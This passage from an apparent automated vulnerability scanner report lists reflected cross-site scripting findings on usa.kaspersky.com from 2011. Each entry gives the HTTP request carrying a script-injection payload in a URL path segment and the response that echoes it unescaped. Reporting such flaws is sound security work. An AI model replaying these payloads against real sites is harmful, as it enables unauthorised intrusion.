<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
'yes') { s.prop4 = " Thank You"; }
s.pageName = s.prop4;
s.eVar44 = s.pageName;
s.hier1 = s.pageName;
s.channel = s.prop1;
s.server=location.hostname;
s.pageName="404:http://usa.kaspersky.com/sites7d226"-alert(1)-"5cbfac5401b/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css?R";

/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/
var s_code=s.t();if(s_code)document.write(s_code)//-
...[SNIP]...

1.21. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cb994"-alert(1)-"9771fba1a77 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /sites/usa.kaspersky.comcb994"-alert(1)-"9771fba1a77/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css?R HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/?domain=kapersky.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:20:31 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315138831"
Content-Type: text/html; charset=utf-8
Content-Length: 33782
Date: Sun, 04 Sep 2011 12:20:33 GMT
X-Varnish: 1163046707
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
" Thank You"; }
s.pageName = s.prop4;
s.eVar44 = s.pageName;
s.hier1 = s.pageName;
s.channel = s.prop1;
s.server=location.hostname;
s.pageName="404:http://usa.kaspersky.com/sites/usa.kaspersky.comcb994"-alert(1)-"9771fba1a77/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css?R";

/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/
var s_code=s.t();if(s_code)document.write(s_code)//-->
...[SNIP]...

1.22. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 815b2"><script>alert(1)</script>37f0e3b07ae was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/usa.kaspersky.com815b2"><script>alert(1)</script>37f0e3b07ae/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css?R HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/?domain=kapersky.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:20:22 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315138822"
Content-Type: text/html; charset=utf-8
Content-Length: 32572
Date: Sun, 04 Sep 2011 12:20:24 GMT
X-Varnish: 1163046521
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
<link rel="canonical" href="http://usa.kaspersky.com/sites/usa.kaspersky.com815b2"><script>alert(1)</script>37f0e3b07ae/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css?R" />
...[SNIP]...

1.23. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6fd41"-alert(1)-"4857cb508a7 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /sites/usa.kaspersky.com/files6fd41"-alert(1)-"4857cb508a7/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css?R HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/?domain=kapersky.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:21:09 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315138869"
Content-Type: text/html; charset=utf-8
Content-Length: 34710
Date: Sun, 04 Sep 2011 12:21:12 GMT
X-Varnish: 1163047910
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
nk You"; }
s.pageName = s.prop4;
s.eVar44 = s.pageName;
s.hier1 = s.pageName;
s.channel = s.prop1;
s.server=location.hostname;
s.pageName="404:http://usa.kaspersky.com/sites/usa.kaspersky.com/files6fd41"-alert(1)-"4857cb508a7/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css?R";

/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/
var s_code=s.t();if(s_code)document.write(s_code)//-->
...[SNIP]...

1.24. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 52d43"><script>alert(1)</script>2e4b5f14ad6 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/usa.kaspersky.com/files52d43"><script>alert(1)</script>2e4b5f14ad6/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css?R HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/?domain=kapersky.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:21:02 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315138862"
Content-Type: text/html; charset=utf-8
Content-Length: 32634
Date: Sun, 04 Sep 2011 12:21:04 GMT
X-Varnish: 1163047608
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
<link rel="canonical" href="http://usa.kaspersky.com/sites/usa.kaspersky.com/files52d43"><script>alert(1)</script>2e4b5f14ad6/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css?R" />
...[SNIP]...

1.25. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dcb19"><script>alert(1)</script>6efbe913e54 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/usa.kaspersky.com/files/ctoolsdcb19"><script>alert(1)</script>6efbe913e54/css/4d9813e9d0c158247f09dd5a908f5979.css?R HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/?domain=kapersky.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:21:41 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315138901"
Content-Type: text/html; charset=utf-8
Content-Length: 35243
Date: Sun, 04 Sep 2011 12:21:44 GMT
X-Varnish: 1163048866
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
<link rel="canonical" href="http://usa.kaspersky.com/sites/usa.kaspersky.com/files/ctoolsdcb19"><script>alert(1)</script>6efbe913e54/css/4d9813e9d0c158247f09dd5a908f5979.css?R" />
...[SNIP]...

1.26. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4b23a"-alert(1)-"622df54d13d was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /sites/usa.kaspersky.com/files/ctools4b23a"-alert(1)-"622df54d13d/css/4d9813e9d0c158247f09dd5a908f5979.css?R HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/?domain=kapersky.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:21:51 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315138911"
Content-Type: text/html; charset=utf-8
Content-Length: 37319
Date: Sun, 04 Sep 2011 12:21:54 GMT
X-Varnish: 1163049128
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
; }
s.pageName = s.prop4;
s.eVar44 = s.pageName;
s.hier1 = s.pageName;
s.channel = s.prop1;
s.server=location.hostname;
s.pageName="404:http://usa.kaspersky.com/sites/usa.kaspersky.com/files/ctools4b23a"-alert(1)-"622df54d13d/css/4d9813e9d0c158247f09dd5a908f5979.css?R";

/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/
var s_code=s.t();if(s_code)document.write(s_code)//-->
...[SNIP]...

1.27. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 69f5d"><script>alert(1)</script>811dc359d64 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/usa.kaspersky.com/files/ctools/css69f5d"><script>alert(1)</script>811dc359d64/4d9813e9d0c158247f09dd5a908f5979.css?R HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/?domain=kapersky.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:22:28 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315138948"
Content-Type: text/html; charset=utf-8
Content-Length: 32633
Date: Sun, 04 Sep 2011 12:22:32 GMT
X-Varnish: 1163050310
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
<link rel="canonical" href="http://usa.kaspersky.com/sites/usa.kaspersky.com/files/ctools/css69f5d"><script>alert(1)</script>811dc359d64/4d9813e9d0c158247f09dd5a908f5979.css?R" />
...[SNIP]...

1.28. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 769eb"-alert(1)-"a9e76941f9f was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /sites/usa.kaspersky.com/files/ctools/css769eb"-alert(1)-"a9e76941f9f/4d9813e9d0c158247f09dd5a908f5979.css?R HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/?domain=kapersky.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:22:43 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315138963"
Content-Type: text/html; charset=utf-8
Content-Length: 34037
Date: Sun, 04 Sep 2011 12:22:50 GMT
X-Varnish: 1163050769
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
s.pageName = s.prop4;
s.eVar44 = s.pageName;
s.hier1 = s.pageName;
s.channel = s.prop1;
s.server=location.hostname;
s.pageName="404:http://usa.kaspersky.com/sites/usa.kaspersky.com/files/ctools/css769eb"-alert(1)-"a9e76941f9f/4d9813e9d0c158247f09dd5a908f5979.css?R";

/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/
var s_code=s.t();if(s_code)document.write(s_code)//-->
...[SNIP]...

1.29. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css [REST URL parameter 6]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c0526"-alert(1)-"1eb0bf43450 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /sites/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.cssc0526"-alert(1)-"1eb0bf43450?R HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/?domain=kapersky.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:24:05 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315139045"
Content-Type: text/html; charset=utf-8
Content-Length: 34037
Date: Sun, 04 Sep 2011 12:24:16 GMT
X-Varnish: 1163052951
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
ageName;
s.hier1 = s.pageName;
s.channel = s.prop1;
s.server=location.hostname;
s.pageName="404:http://usa.kaspersky.com/sites/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.cssc0526"-alert(1)-"1eb0bf43450?R";

/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/
var s_code=s.t();if(s_code)document.write(s_code)//-->
...[SNIP]...

1.30. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css [REST URL parameter 6]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c4e17"><script>alert(1)</script>267d3d6753e was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.cssc4e17"><script>alert(1)</script>267d3d6753e?R HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/?domain=kapersky.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:23:46 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315139026"
Content-Type: text/html; charset=utf-8
Content-Length: 32634
Date: Sun, 04 Sep 2011 12:23:51 GMT
X-Varnish: 1163052465
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
<link rel="canonical" href="http://usa.kaspersky.com/sites/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.cssc4e17"><script>alert(1)</script>267d3d6753e?R" />
...[SNIP]...

1.31. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/10-KSP-0015-PURE-homepage-banner-updated-eng.swf [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/usa.kaspersky.com/files/home-page-banners/10-KSP-0015-PURE-homepage-banner-updated-eng.swf

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7c50b"><script>alert(1)</script>3e346afd99a was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/usa.kaspersky.com/files/home-page-banners/10-KSP-0015-PURE-homepage-banner-updated-eng.swf7c50b"><script>alert(1)</script>3e346afd99a HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/loader_purelaunch_updated-frame.swf
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_cc=true; gpv_pageName=Homepage; s_nr=1315138484684-New; s_sq=%5B%5BB%5D%5D; __utma=205612169.764119128.1315138485.1315138485.1315138485.1; __utmb=205612169.1.10.1315138485; __utmc=205612169; __utmz=205612169.1315138485.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_vi=[CS]v1|2731B5C785013339-4000010CE01E480D[CE]; slider_session=yes

Response

HTTP/1.1 404 Not Found
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:23:37 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315139017"
Content-Type: text/html; charset=utf-8
Content-Length: 34827
Date: Sun, 04 Sep 2011 12:23:45 GMT
X-Varnish: 1163052091
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
<link rel="canonical" href="http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/10-KSP-0015-PURE-homepage-banner-updated-eng.swf7c50b"><script>alert(1)</script>3e346afd99a" />
...[SNIP]...

1.32. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/10-KSP-0015-PURE-homepage-banner-updated-eng.swf [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/usa.kaspersky.com/files/home-page-banners/10-KSP-0015-PURE-homepage-banner-updated-eng.swf

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6a7f7"-alert(1)-"2f806a7d1f2 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /sites/usa.kaspersky.com/files/home-page-banners/10-KSP-0015-PURE-homepage-banner-updated-eng.swf6a7f7"-alert(1)-"2f806a7d1f2 HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/loader_purelaunch_updated-frame.swf
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_cc=true; gpv_pageName=Homepage; s_nr=1315138484684-New; s_sq=%5B%5BB%5D%5D; __utma=205612169.764119128.1315138485.1315138485.1315138485.1; __utmb=205612169.1.10.1315138485; __utmc=205612169; __utmz=205612169.1315138485.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_vi=[CS]v1|2731B5C785013339-4000010CE01E480D[CE]; slider_session=yes

Response

HTTP/1.1 404 Not Found
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:24:00 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315139040"
Content-Type: text/html; charset=utf-8
Content-Length: 35570
Date: Sun, 04 Sep 2011 12:24:07 GMT
X-Varnish: 1163052827
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
